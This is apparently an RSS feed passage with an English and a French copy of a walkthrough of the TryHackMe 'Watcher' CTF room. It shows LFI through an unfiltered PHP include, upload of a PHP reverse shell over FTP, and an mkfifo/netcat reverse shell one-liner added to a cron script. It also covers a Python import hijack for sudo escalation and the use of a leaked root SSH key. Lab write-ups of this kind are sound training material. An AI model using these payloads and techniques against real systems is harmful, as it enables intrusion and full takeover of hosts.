<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkfifo</span> /tmp/kirxhbg<span class="p">;</span> nc 10.13.3.36 4445 0&lt;/tmp/kirxhbg | /bin/sh <span class="o">&gt;</span>/tmp/kirxhbg 2&gt;&amp;1<span class="p">;</span> <span class="nb">rm</span> /tmp/kirxhbg
</code></pre></div></div>

<p>The next time the cron runs, you will get a new connection.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.157.89 55670
<span class="nb">whoami
</span>mat
<span class="nb">ls</span> /home/mat
cow.jpg
flag_5.txt
note.txt
scripts
</code></pre></div></div>

<p>That flag #5.</p>

<h2 id="escalate-to-will">Escalate to Will</h2>

<p>That shell was pretty unstable so I copied my ssh public key to the server and reconnected through ssh.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> .ssh
<span class="nb">echo</span> <span class="s2">"My Public Key"</span> <span class="o">&gt;</span> .ssh/authorized_keys
<span class="nb">chmod </span>700 .ssh
<span class="nb">chmod </span>600 .ssh/authorized_keys
</code></pre></div></div>

<p>Once connected, there is another note.txt file in the home folder.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat note.txt 
Hi Mat,

I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.

Will
</code></pre></div></div>

<p>Sure enough, we can run a python script as will without a password.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
Matching Defaults entries <span class="k">for </span>mat on watcher:
    env_reset, mail_badpass, <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin<span class="se">\:</span>/snap/bin

User mat may run the following commands on watcher:
    <span class="o">(</span>will<span class="o">)</span> NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py <span class="k">*</span>
</code></pre></div></div>

<p>We are not allowed to modify the script, but lets see what it does.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mat@watcher:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> scripts/will_script.py
<span class="nt">-rw-r--r--</span> 1 will will 208 Dec  3 01:58 scripts/will_script.py

mat@watcher:~<span class="nv">$ </span><span class="nb">cat </span>scripts/will_script.py 
import os
import sys
from cmd import get_command

cmd <span class="o">=</span> get_command<span class="o">(</span>sys.argv[1]<span class="o">)</span>

whitelist <span class="o">=</span> <span class="o">[</span><span class="s2">"ls -lah"</span>, <span class="s2">"id"</span>, <span class="s2">"cat /etc/passwd"</span><span class="o">]</span>

<span class="k">if </span>cmd not <span class="k">in </span>whitelist:
        print<span class="o">(</span><span class="s2">"Invalid command!"</span><span class="o">)</span>
        <span class="nb">exit</span><span class="o">()</span>

os.system<span class="o">(</span>cmd<span class="o">)</span>

</code></pre></div></div>

<p>The script reads a command from the command line, then sends it to <code class="language-plaintext highlighter-rouge">get_command</code> and execute it if it’s one of the three allowed commands.</p>

<p>The interesting part is <code class="language-plaintext highlighter-rouge">get_command</code>, it’s imported from cmd.py which is in the same folder as the script.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mat@watcher:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span> scripts/cmd.py 
<span class="nt">-rw-r--r--</span> 1 mat mat 133 Dec  3 03:31 scripts/cmd.py
mat@watcher:~<span class="nv">$ </span><span class="nb">cat </span>scripts/cmd.py
def get_command<span class="o">(</span>num<span class="o">)</span>:
        <span class="k">if</span><span class="o">(</span>num <span class="o">==</span> <span class="s2">"1"</span><span class="o">)</span>:
                <span class="k">return</span> <span class="s2">"ls -lah"</span>
        <span class="k">if</span><span class="o">(</span>num <span class="o">==</span> <span class="s2">"2"</span><span class="o">)</span>:
                <span class="k">return</span> <span class="s2">"id"</span>
        <span class="k">if</span><span class="o">(</span>num <span class="o">==</span> <span class="s2">"3"</span><span class="o">)</span>:
                <span class="k">return</span> <span class="s2">"cat /etc/passwd"</span>
</code></pre></div></div>

<p>We can write to this file. So we can modify it to start a new bash shell as Will. We need to add an import of os. Then add the following at the beginning of the <code class="language-plaintext highlighter-rouge">get_command</code> function.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'/bin/bash -p'</span><span class="p">)</span>
</code></pre></div></div>

<p>After that, we can run the python script as will and get a shell.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mat@watcher:~<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-u</span> will /usr/bin/python3 /home/mat/scripts/will_script.py 1
will@watcher:~<span class="nv">$ </span><span class="nb">whoami
</span>will
will@watcher:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /home/will/
total 4
<span class="nt">-rw-------</span> 1 will will 41 Dec  3 01:58 flag_6.txt
</code></pre></div></div>

<p>We have flag 6.</p>

<h2 id="escalate-to-root">Escalate to root</h2>
<p>For this step, there are no note.txt file to give us a hint. Running <code class="language-plaintext highlighter-rouge">sudo -l</code> requires a password, so no luck there either.</p>

<p>I checked for the groups of the user, and they are part of the adm group. That looked interesting.</p>

<p>I searched for files that belongs to that group. And found a backups folder with one file in it: key.b64.</p>

<p>I decoded the file, and it contained a ssh private key.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /opt/backups/key.b64 | <span class="nb">base64</span> <span class="nt">-d</span>
<span class="nt">-----BEGIN</span> RSA PRIVATE KEY-----
...
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRsM1bOEqjFdZgv6SA<span class="o">==</span>
<span class="nt">-----END</span> RSA PRIVATE KEY-----

</code></pre></div></div>

<p>I took that key, copied it in a file on my machine and change its permissions to 600. Then used it to connect back to the server as root.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh root@target <span class="nt">-i</span> root_id_rsa 
Welcome to Ubuntu 18.04.5 LTS <span class="o">(</span>GNU/Linux 4.15.0-128-generic x86_64<span class="o">)</span>

root@watcher:~# <span class="nb">ls</span> <span class="nt">-l</span> 
total 4
<span class="nt">-rw-r--r--</span> 1 root root 31 Dec  3 02:26 flag_7.txt

</code></pre></div></div>

<p>That was our last flag.</p>

<p>This is a fun box to root. With many steps. I’m not sure it should be classified as medium difficulty. All the steps where pretty easy to do. Especially with the note.txt files giving huge hints.</p>

<p>Text also published on : <a href="https://erichogue.ca/2021/03/TryHackMe-Walkthrough-Watcher/">https://erichogue.ca/2021/03/TryHackMe-Walkthrough-Watcher/</a></p>

]]></content:encoded>
    </item>
    <item>
      <title>TryHackMe Walkthrough - Watcher</title>
      <link>https://media.hackfest.ca/blog/solution-tryhackme-watcher</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/solution-tryhackme-watcher</guid>
      <pubDate>Mon, 15 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Eric Hogue</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Walkthroughs &amp; CTF</category>
      <category>TryHackMe</category>
      <category>LFI</category>
      <category>privesc</category>
      <description>Un walkthrough de la salle Watcher sur TryHackMe. Il s’agit d’une salle de difficulté moyenne. Vous devez trouver 7 flags en partant d’un site web, en obtenant un shell sur le serveur et en élevant nos privilèges jusqu’à obtenir root.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2021/03/THMWalkthroughWatcher/LFI.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p>Voici mon walkthrough de la <a href="https://tryhackme.com/room/watcher">salle Watcher sur TryHackMe</a>. Il y a sept flags à trouver, sans aucune description supplémentaire.</p>

<ul>
  <li>Salle : Watcher</li>
  <li>Difficulté : Moyenne</li>
  <li>URL : https://tryhackme.com/room/watcher</li>
</ul>

<h2 id="scan">Scan</h2>

<p>La première chose à faire lorsqu’on attaque une box est de la scanner. Je le fais habituellement en trois étapes :</p>
<ol>
  <li>Un scan agressif sur les 10 000 premiers ports (<code class="language-plaintext highlighter-rouge">nmap -A -oN nmap.txt target</code>)</li>
  <li>Un scan de vulnérabilités sur les 10 000 premiers ports (<code class="language-plaintext highlighter-rouge">nmap -script vuln -oN nmapVuln.txt target</code>)</li>
  <li>Un scan SYN sur tous les ports (<code class="language-plaintext highlighter-rouge">sudo nmap -sS -p- -oN nmapFull.txt target</code>)</li>
</ol>

<p>Voici les résultats du premier scan :</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Nmap 7.91 scan initiated Sun Mar 14 09:11:24 2021 as: nmap -A -oN nmap.txt target</span>
Nmap scan report <span class="k">for </span>target <span class="o">(</span>10.10.208.34<span class="o">)</span>
Host is up <span class="o">(</span>0.23s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
| ssh-hostkey: 
|   2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 <span class="o">(</span>RSA<span class="o">)</span>
|   256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 <span class="o">(</span>ECDSA<span class="o">)</span>
|_  256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a <span class="o">(</span>ED25519<span class="o">)</span>
80/tcp open  http    Apache httpd 2.4.29 <span class="o">((</span>Ubuntu<span class="o">))</span>
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.29 <span class="o">(</span>Ubuntu<span class="o">)</span>
|_http-title: Corkplacemats
Service Info: OSs: Unix, Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
<span class="c"># Nmap done at Sun Mar 14 09:11:51 2021 -- 1 IP address (1 host up) scanned in 27.64 seconds</span>
</code></pre></div></div>

<p>Les scans de vulnérabilités et le scan complet n’ont rien apporté de plus d’intéressant.</p>

<p>Le premier port ouvert est pour le FTP. La connexion anonyme ne semble pas être autorisée, mais essayons quand même.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp target
Connected to target.
220 <span class="o">(</span>vsFTPd 3.0.3<span class="o">)</span>
Name <span class="o">(</span>target:ehogue<span class="o">)</span>: anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
</code></pre></div></div>

<p>Pas de chance ici, alors regardons le site web sur le port 80.</p>

<h2 id="site-web">Site web</h2>

<p>En naviguant vers http://target/, on obtient un site sur les napperons en liège. Un coup d’œil rapide à la requête dans Burp ne montre rien d’intéressant.</p>

<p>Cependant, il y a un fichier robots.txt qui contient deux entrées.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt
</code></pre></div></div>

<p>Naviguer vers http://target/flag_1.txt nous donne notre premier flag. http://target/secret_file_do_not_read.txt est interdit.</p>

<p>Maintenant, je commence à scanner le site à la recherche de pages cachées. J’utilise GoBuster pour scanner les sites web. J’utilise habituellement deux listes différentes pour le faire. Je devrais probablement construire une seule liste avec uniquement les valeurs uniques issues de ces deux-là.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster <span class="nb">dir</span> <span class="nt">-e</span> <span class="nt">-u</span> http://target/ <span class="nt">-t30</span> <span class="nt">-w</span> /usr/share/dirb/wordlists/common.txt  | <span class="nb">tee </span>gobuster.txt
<span class="o">===============================================================</span>
Gobuster v3.1.0
by OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> &amp; Christian Mehlmauer <span class="o">(</span>@firefart<span class="o">)</span>
<span class="o">===============================================================</span>
<span class="o">[</span>+] Url:                     http://target/
<span class="o">[</span>+] Method:                  GET
<span class="o">[</span>+] Threads:                 30
<span class="o">[</span>+] Wordlist:                /usr/share/dirb/wordlists/common.txt
<span class="o">[</span>+] Negative Status codes:   404
<span class="o">[</span>+] User Agent:              gobuster/3.1.0
<span class="o">[</span>+] Expanded:                <span class="nb">true</span>
<span class="o">[</span>+] Timeout:                 10s
<span class="o">===============================================================</span>
2021/03/14 13:09:21 Starting gobuster <span class="k">in </span>directory enumeration mode
<span class="o">===============================================================</span>
http://target/.hta                 <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
http://target/.htaccess            <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
http://target/.htpasswd            <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
http://target/css                  <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 298] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://target/css/]
http://target/images               <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 301] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://target/images/]
http://target/index.php            <span class="o">(</span>Status: 200<span class="o">)</span> <span class="o">[</span>Size: 4826]
http://target/robots.txt           <span class="o">(</span>Status: 200<span class="o">)</span> <span class="o">[</span>Size: 69]
http://target/server-status        <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
<span class="o">===============================================================</span>
2021/03/14 13:10:00 Finished
<span class="o">===============================================================</span>
</code></pre></div></div>
<p>Rien de très intéressant ici.</p>

<p>Pendant que GoBuster s’exécutait, j’ai commencé à explorer le site. Lorsque j’ai cliqué sur l’un des articles, il pointait vers cette url : http://target/post.php?post=striped.php . Cela ressemblait à quelque chose qui pourrait être utilisé pour une attaque de type <a href="https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/">Local File Inclusion (LFI)</a>.</p>

<p>Je l’ai donc utilisée pour tenter de lire le fichier secret auquel je ne pouvais pas accéder plus tôt. J’ai chargé http://target/post.php?post=secret_file_do_not_read.txt et ça a fonctionné. Le fichier contient le message suivant :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hi Mat,
The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files.
Will

 ----------
ftpuser:PASSWORD
</code></pre></div></div>
<p>Nous avons maintenant les identifiants du serveur FTP. Cela laisse aussi entendre que nous pourrons écrire des fichiers sur le serveur FTP, et où ils seront sauvegardés.</p>

<p>D’abord, assurons-nous que le code est exécuté lorsqu’il est inclus. J’ai tenté d’inclure index.php pour voir s’il allait afficher le contenu, ou l’exécuter.</p>

<p>Chargez http://target/post.php?post=index.php, vous verrez la page d’index chargée à l’intérieur de la page de l’article.</p>

<p><img src="https://media.hackfest.ca/images/posts/2021/03/THMWalkthroughWatcher/LFI.webp" alt="LFI" title="LFI" /></p>

<p>Ensuite, j’ai tenté d’obtenir le code source de post.php pour voir s’il y avait du filtrage, ou si je pouvais l’utiliser pour charger n’importe quel fichier.</p>

<p>Charger http://target/post.php?post=php://filter/convert.base64-encode/resource=post.php m’a donné le code source PHP encodé en base64. Je l’ai décodé, et j’ai vu qu’il n’y a aucun filtrage. On peut charger n’importe quel fichier du serveur.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"col-8"</span><span class="nt">&gt;</span>
  <span class="cp">&lt;?php</span> <span class="k">include</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"post"</span><span class="p">];</span> <span class="cp">?&gt;</span>
<span class="nt">&lt;/div&gt;</span>
</code></pre></div></div>

<h2 id="obtenir-un-shell">Obtenir un shell</h2>
<p>Je savais maintenant que je pouvais utiliser le serveur FTP pour téléverser un fichier, puis l’exécuter sur le serveur grâce à la vulnérabilité LFI.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp target
Connected to target.
220 <span class="o">(</span>vsFTPd 3.0.3<span class="o">)</span>
Name <span class="o">(</span>target:ehogue<span class="o">)</span>: ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system <span class="nb">type </span>is UNIX.
Using binary mode to transfer files.
ftp&gt; <span class="nb">ls</span> <span class="nt">-la</span>
200 PORT <span class="nb">command </span>successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 <span class="nb">.</span>
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 ..
drwxr-xr-x    2 1001     1001         4096 Dec 03 03:30 files
<span class="nt">-rw-r--r--</span>    1 0        0              21 Dec 03 01:58 flag_2.txt
226 Directory send OK.
ftp&gt; get flag_2.txt
<span class="nb">local</span>: flag_2.txt remote: flag_2.txt
200 PORT <span class="nb">command </span>successful. Consider using PASV.
150 Opening BINARY mode data connection <span class="k">for </span>flag_2.txt <span class="o">(</span>21 bytes<span class="o">)</span><span class="nb">.</span>
226 Transfer complete.
21 bytes received <span class="k">in </span>0.00 secs <span class="o">(</span>84.0484 kB/s<span class="o">)</span>
</code></pre></div></div>

<p>Nous avons trouvé le deuxième flag sur le serveur FTP. On voit aussi que le dossier files est accessible en écriture, nous pouvons donc y pousser notre reverse shell.</p>

<p>J’utilise le reverse shell PHP qui est disponible dans Kali à <code class="language-plaintext highlighter-rouge">/usr/share/webshells/php/php-reverse-shell.php</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp&gt; <span class="nb">cd </span>files 
250 Directory successfully changed.
ftp&gt; put php-reverse-shell.php
<span class="nb">local</span>: php-reverse-shell.php remote: php-reverse-shell.php
200 PORT <span class="nb">command </span>successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent <span class="k">in </span>0.00 secs <span class="o">(</span>5.8002 MB/s<span class="o">)</span>
</code></pre></div></div>

<p>Selon le message trouvé plus tôt, ce fichier devrait maintenant se trouver à <code class="language-plaintext highlighter-rouge">/home/ftpuser/ftp/filesphp-reverse-shell.php</code>.</p>

<p>J’ai démarré un listener Netcat dans ma VM Kali (<code class="language-plaintext highlighter-rouge">nc -lvnp 4444</code>). Puis j’ai chargé http://target/post.php?post=/home/ftpuser/ftp/files/php-reverse-shell.php dans un navigateur. J’ai obtenu une connexion sur mon listener.</p>

<p>J’ai stabilisé mon shell avec les commandes suivantes :</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s1">'import pty; pty.spawn("/bin/bash")'</span>
<span class="nb">export </span><span class="nv">TERM</span><span class="o">=</span>xterm

<span class="c"># Hit Ctrl-z to go background the shell</span>
<span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span><span class="nb">fg</span>
</code></pre></div></div>

<p>À partir de là, j’ai trouvé un troisième flag dans les fichiers du site web.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@watcher:/<span class="nv">$ </span><span class="nb">whoami
</span>www-data
www-data@watcher:/<span class="nv">$ </span><span class="nb">ls</span> /var/www/html/
bunch.php   images               post.php    secret_file_do_not_read.txt
css         index.php            robots.txt  striped.php
flag_1.txt  more_secrets_a9f10a  round.php
www-data@watcher:/<span class="nv">$ </span><span class="nb">ls</span> /var/www/html/more_secrets_a9f10a/           
flag_3.txt
www-data@watcher:/<span class="nv">$ </span><span class="nb">cat</span> /var/www/html/more_secrets_a9f10a/flag_3.txt 
FLAG<span class="o">{</span>SOME FLAG<span class="o">}</span>
</code></pre></div></div>

<h2 id="escalade-vers-toby">Escalade vers Toby</h2>
<p>Maintenant que nous avons un shell, nous devons tenter d’élever nos privilèges.</p>

<p>La première chose à faire est de vérifier si l’utilisateur courant peut exécuter sudo. www-data ne devrait pas pouvoir, mais c’est une bonne idée de vérifier quand même.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
Matching Defaults entries <span class="k">for </span>www-data on watcher:
    env_reset, mail_badpass,
    <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin<span class="se">\:</span>/snap/bin

User www-data may run the following commands on watcher:
    <span class="o">(</span>toby<span class="o">)</span> NOPASSWD: ALL
</code></pre></div></div>

<p>www-data est autorisé à exécuter n’importe quelle commande en tant que toby.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-utoby</span> bash <span class="nt">-p</span>
toby@watcher:/<span class="nv">$ </span><span class="nb">whoami
</span>toby
toby@watcher:/<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /home/toby/
total 12
<span class="nt">-rw-------</span> 1 toby toby   21 Dec  3 01:58 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec  3 03:31 <span class="nb">jobs</span>
<span class="nt">-rw-r--r--</span> 1 mat  mat    89 Dec 12 15:25 note.txt
</code></pre></div></div>

<p>Nous avons notre 4e flag.</p>

<h2 id="escalade-vers-mat">Escalade vers Mat</h2>

<p>Nous devons trouver un moyen d’élever à nouveau nos privilèges. <code class="language-plaintext highlighter-rouge">sudo -l</code> requiert un mot de passe, nous devons donc trouver autre chose.</p>

<p>Il y a un fichier note.txt dans le dossier home, regardons-le.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat note.txt 
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

Mat
</code></pre></div></div>

<p>On dirait qu’il y a un cron job qui s’exécute, probablement en tant que Mat, que nous pourrions être en mesure d’utiliser. Il y a un dossier jobs, et il contient un fichier sh.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-l</span> <span class="nb">jobs</span>/
total 4
<span class="nt">-rwxr-xr-x</span> 1 toby toby 46 Dec  3 03:31 cow.sh
toby@watcher:~<span class="nv">$ </span><span class="nb">cat jobs</span>/cow.sh 
<span class="c">#!/bin/bash</span>
<span class="nb">cp</span> /home/mat/cow.jpg /tmp/cow.jpg
</code></pre></div></div>
<p>Il s’agit peut-être du cron du message. Et nous pouvons y écrire. J’ai donc modifié le fichier pour y ajouter une connexion reverse shell, démarré un autre listener Netcat et attendu une connexion.</p>

<p>Ajoutez ceci à jobs/cow.sh</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkfifo</span> /tmp/kirxhbg<span class="p">;</span> nc 10.13.3.36 4445 0&lt;/tmp/kirxhbg | /bin/sh <span class="o">&gt;</span>/tmp/kirxhbg 2&gt;&amp;1<span class="p">;</span> <span class="nb">rm</span> /tmp/kirxhbg
</code></pre></div></div>

<p>La prochaine fois que le cron s’exécutera, vous obtiendrez une nouvelle connexion.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.157.89 55670
<span class="nb">whoami
</span>mat
<span class="nb">ls</span> /home/mat
cow.jpg
flag_5.txt
note.txt
scripts
</code></pre></div></div>

<p>Voilà le flag #5.</p>

<h2 id="escalade-vers-will">Escalade vers Will</h2>

<p>Ce shell était plutôt instable, j’ai donc copié ma clé publique ssh sur le serveur et je me suis reconnecté par ssh.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> .ssh
<span class="nb">echo</span> <span class="s2">"My Public Key"</span> <span class="o">&gt;</span> .ssh/authorized_keys
<span class="nb">chmod </span>700 .ssh
<span class="nb">chmod </span>600 .ssh/authorized_keys
</code></pre></div></div>

<p>Une fois connecté, il y a un autre fichier note.txt dans le dossier home.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat note.txt 
Hi Mat,

I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.

Will
</code></pre></div></div>

<p>Effectivement, nous pouvons exécuter un script python en tant que will sans mot de passe.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
Matching Defaults entries <span class="k">for </span>mat on watcher:
    env_reset, mail_badpass, <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin<span class="se">\:</span>/snap/bin

User mat may run the following commands on watcher:
    <span class="o">(</span>will<span class="o">)</span> NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py <span class="k">*</span>
</code></pre></div></div>

<p>Nous ne sommes pas autorisés à modifier le script, mais voyons ce qu’il fait.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mat@watcher:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> scripts/will_script.py
<span class="nt">-rw-r--r--</span> 1 will will 208 Dec  3 01:58 scripts/will_script.py

mat@watcher:~<span class="nv">$ </span><span class="nb">cat </span>scripts/will_script.py 
import os
import sys
from cmd import get_command

cmd <span class="o">=</span> get_command<span class="o">(</span>sys.argv[1]<span class="o">)</span>

whitelist <span class="o">=</span> <span class="o">[</span><span class="s2">"ls -lah"</span>, <span class="s2">"id"</span>, <span class="s2">"cat /etc/passwd"</span><span class="o">]</span>

<span class="k">if </span>cmd not <span class="k">in </span>whitelist:
        print<span class="o">(</span><span class="s2">"Invalid command!"</span><span class="o">)</span>
        <span class="nb">exit</span><span class="o">()</span>

os.system<span class="o">(</span>cmd<span class="o">)</span>

</code></pre></div></div>

<p>Le script lit une commande depuis la ligne de commande, puis l’envoie à <code class="language-plaintext highlighter-rouge">get_command</code> et l’exécute si elle fait partie des trois commandes autorisées.</p>

<p>La partie intéressante est <code class="language-plaintext highlighter-rouge">get_command</code>, qui est importée de cmd.py, lequel se trouve dans le même dossier que le script.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mat@watcher:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span> scripts/cmd.py 
<span class="nt">-rw-r--r--</span> 1 mat mat 133 Dec  3 03:31 scripts/cmd.py
mat@watcher:~<span class="nv">$ </span><span class="nb">cat </span>scripts/cmd.py
def get_command<span class="o">(</span>num<span class="o">)</span>:
        <span class="k">if</span><span class="o">(</span>num <span class="o">==</span> <span class="s2">"1"</span><span class="o">)</span>:
                <span class="k">return</span> <span class="s2">"ls -lah"</span>
        <span class="k">if</span><span class="o">(</span>num <span class="o">==</span> <span class="s2">"2"</span><span class="o">)</span>:
                <span class="k">return</span> <span class="s2">"id"</span>
        <span class="k">if</span><span class="o">(</span>num <span class="o">==</span> <span class="s2">"3"</span><span class="o">)</span>:
                <span class="k">return</span> <span class="s2">"cat /etc/passwd"</span>
</code></pre></div></div>

<p>Nous pouvons écrire dans ce fichier. Nous pouvons donc le modifier pour démarrer un nouveau shell bash en tant que Will. Nous devons ajouter un import de os. Puis ajouter ce qui suit au début de la fonction <code class="language-plaintext highlighter-rouge">get_command</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'/bin/bash -p'</span><span class="p">)</span>
</code></pre></div></div>

<p>Après cela, nous pouvons exécuter le script python en tant que will et obtenir un shell.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mat@watcher:~<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-u</span> will /usr/bin/python3 /home/mat/scripts/will_script.py 1
will@watcher:~<span class="nv">$ </span><span class="nb">whoami
</span>will
will@watcher:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /home/will/
total 4
<span class="nt">-rw-------</span> 1 will will 41 Dec  3 01:58 flag_6.txt
</code></pre></div></div>

<p>Nous avons le flag 6.</p>

<h2 id="escalade-vers-root">Escalade vers root</h2>
<p>Pour cette étape, il n’y a pas de fichier note.txt pour nous donner un indice. Exécuter <code class="language-plaintext highlighter-rouge">sudo -l</code> requiert un mot de passe, donc pas de chance de ce côté non plus.</p>

<p>J’ai vérifié les groupes de l’utilisateur, et il fait partie du groupe adm. Cela semblait intéressant.</p>

<p>J’ai cherché des fichiers appartenant à ce groupe. Et j’ai trouvé un dossier backups contenant un fichier : key.b64.</p>

<p>J’ai décodé le fichier, et il contenait une clé privée ssh.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /opt/backups/key.b64 | <span class="nb">base64</span> <span class="nt">-d</span>
<span class="nt">-----BEGIN</span> RSA PRIVATE KEY-----
...
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRsM1bOEqjFdZgv6SA<span class="o">==</span>
<span class="nt">-----END</span> RSA PRIVATE KEY-----

</code></pre></div></div>

<p>J’ai pris cette clé, l’ai copiée dans un fichier sur ma machine et modifié ses permissions à 600. Puis je l’ai utilisée pour me reconnecter au serveur en tant que root.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh root@target <span class="nt">-i</span> root_id_rsa 
